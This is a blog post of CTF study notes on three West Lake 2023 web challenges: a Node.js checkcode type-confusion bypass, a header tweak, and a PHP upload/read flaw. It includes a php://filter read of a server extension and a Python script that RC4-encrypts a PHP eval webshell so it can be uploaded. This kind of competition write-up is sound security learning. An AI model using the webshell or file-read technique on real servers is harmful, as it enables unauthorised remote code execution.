首页 > 其他分享 >西湖论剑2023学习笔记

西湖论剑2023学习笔记

时间:2023-02-03 13:33:21浏览次数:50  
标签:status base64 checkcode res req 笔记 key 2023 论剑

太菜了打不了比赛,跟着师傅们的wp学习一下

Node Magical Login

  • flag1
function Flag1Controller(req,res){
    try {
        if(req.cookies.user === SECRET_COOKIE){
            res.setHeader("This_Is_The_Flag1",flag1.toString().trim())
            res.setHeader("This_Is_The_Flag2",flag2.toString().trim())
            res.status(200).type("text/html").send("Login success. Welcome,admin!")
        }
        if(req.cookies.user === "admin") {
            res.setHeader("This_Is_The_Flag1", flag1.toString().trim())
            res.status(200).type("text/html").send("You Got One Part Of Flag! Try To Get Another Part of Flag!")
        }else{
            res.status(401).type("text/html").send("Unauthorized")
        }
    }catch (__) {}
}

image

  • flag2
function CheckController(req,res) {
    let checkcode = req.body.checkcode?req.body.checkcode:1234;
    console.log(req.body)
    if(checkcode.length === 16){
        try{
            checkcode = checkcode.toLowerCase()
            if(checkcode !== "aGr5AtSp55dRacer"){
                res.status(403).json({"msg":"Invalid Checkcode1:" + checkcode})
            }
        }catch (__) {}
        res.status(200).type("text/html").json({"msg":"You Got Another Part Of Flag: " + flag2.toString().trim()})
    }else{
        res.status(403).type("text/html").json({"msg":"Invalid Checkcode2:" + checkcode})
    }
}

解法1:利用数组
image
数组的length是16,而且没有toLowerCase方法,会报错
解法2:利用对象
image
一样可以构造出length=16而且调用toLowerCase报错

扭转乾坤

直接改请求头

unusual php

 <?php
if($_GET["a"]=="upload"){
    move_uploaded_file($_FILES['file']["tmp_name"], "upload/".$_FILES['file']["name"]);
}elseif ($_GET["a"]=="read") {
    echo file_get_contents($_GET["file"]);
}elseif ($_GET["a"]=="version") {
    phpinfo();
}

上传php解析失败
image
phpinfo发现加密扩展
image
read把加密扩展读出来
/?a=read&file=php://filter/convert.base64-encode/resource=/usr/local/lib/php/extensions/no-debug-non-zts-20190902/zend_test.so
image
写个脚本转成so

import base64

with open('base64.txt','r') as f1:
    with open('zend.so','wb') as f2:
        f2.write(base64.b64decode(f1.read()))

image
ida搜了一下字符串,发现key
抄一下wp里的脚本

from Crypto.Cipher import ARC4 as rc4cipher
import base64


def rc4_algorithm(encrypt_or_decrypt, data, key1):
    if encrypt_or_decrypt == "encrypt":
        key = bytes(key1, encoding='utf-8')
        enc = rc4cipher.new(key)
        res = enc.encrypt(data.encode('utf-8'))
        res=base64.b64encode(res)
        res = str(res,'utf8')
        return res
    elif encrypt_or_decrypt == "decrypt":
        data = base64.b64decode(data)
        key = bytes(key1, encoding='utf-8')
        enc = rc4cipher.new(key)
        res = enc.decrypt(data)
        res = str(res,'utf8')
        return res


key = 'abcsdfadfjiweur'
shell = '''<?php eval($_POST[1]);'''
with open('shell_enc.php', 'wb') as f:
    f.write(base64.b64decode(rc4_algorithm('encrypt', shell, key)))

传上去就有shell了
环境被别人搞过了,后面的提权没办法进行了

标签:status,base64,checkcode,res,req,笔记,key,2023,论剑
From: https://www.cnblogs.com/V3g3t4ble/p/17088915.html

相关文章

  • 《2023年电力安全监管重点任务》中的网络安全工作要求
    近日,国家能源局综合司印发《2023年电力安全监管重点任务》(以下简称《重点任务》),明确电力安全监管目标,对今年的安全工作进行了部署。2023年电力安全监管目标是杜绝重大以上电......
  • ubuntu18安装vsftpd无坑笔记
    环境ubuntu18.04server版,折腾了两天,千山万水淌过来的,分享给大家,少走弯路1.安装sudoaptinstallvsftpd2.配置vim/etc/vsftpd.confanonymous_enable=NOlocal_enable=Y......
  • 西湖论剑2023-mp3[wp]
    一题目描述  二解题步骤1.分析文件(1)放入Audacity中查看频谱信息无果(2)010editor中查看文件结构   文件尾部存在PNG文件尾,搜索png文件头将该png文件复制......
  • 【学习笔记】多项式学习笔记2:集合幂级数
    点击查看目录目录集合幂级数定义运算应用子集相关运算高位前(后)缀和高维前(后)缀差分快速莫比乌斯变换\(\text{FMT(FsatMobiusTransform)}\)或卷积(集合并卷积)与卷积(集合......
  • Go 语言学习之路(笔记)
    将大佬的博客整理成相关目录。查找方便go语言安装及介绍go语言环境搭建go语言基础之变量和常量go语言基础之基本数据类型go语言基础之运算符go语言基础之流程控制Go......
  • 笔记:海量数据的查询方法
    概述:每年大约有几千万近一亿的业务数据量,如何提高查询性能。具体方案:在表结构初始化阶段时,需要添加查询条件的索引;并且可以使用uuid主键和数字主键的联合业务主键,根据......
  • (笔记)【NTP系列:06】NTP报文解读
    一、概念NTP(NetworkTimeProtocol),互联网时间协议。 UTC(CoordinatedUniversalTime),协调通用时间。根据原子振荡周期所计算的物理时钟,这种计算方式对于时间的计算误差......
  • freebsd13在t430i上安装,2023.02.03
    一、系统安装1,freebsd.org下载stick.img2,写u盘3,u盘启动安装(bsdinstall,sysinstall)二、无线网络1,rc.conf增加wlans_rtwn0="wlan0"......
  • (笔记)NTP时间同步失败:Windows(W32Time)作为NTP时钟源服务端,Linux作为客户端
     一、问题现象使用windows(W32Time)作NTP时钟源服务端,控制板端Linux作为客户端,使用ntpd服务无法同步时间,但是ntpdate是可以同步成功。 二、问题分析 1.从报文的角度分......
  • 所学笔记
    nacos配置中心: 1.只需要配置server-addr、spring.application.name、profile.active、file-extension 2.namespace是分命名空间用的 3.用nacos作为配置中心必须先用nacos为......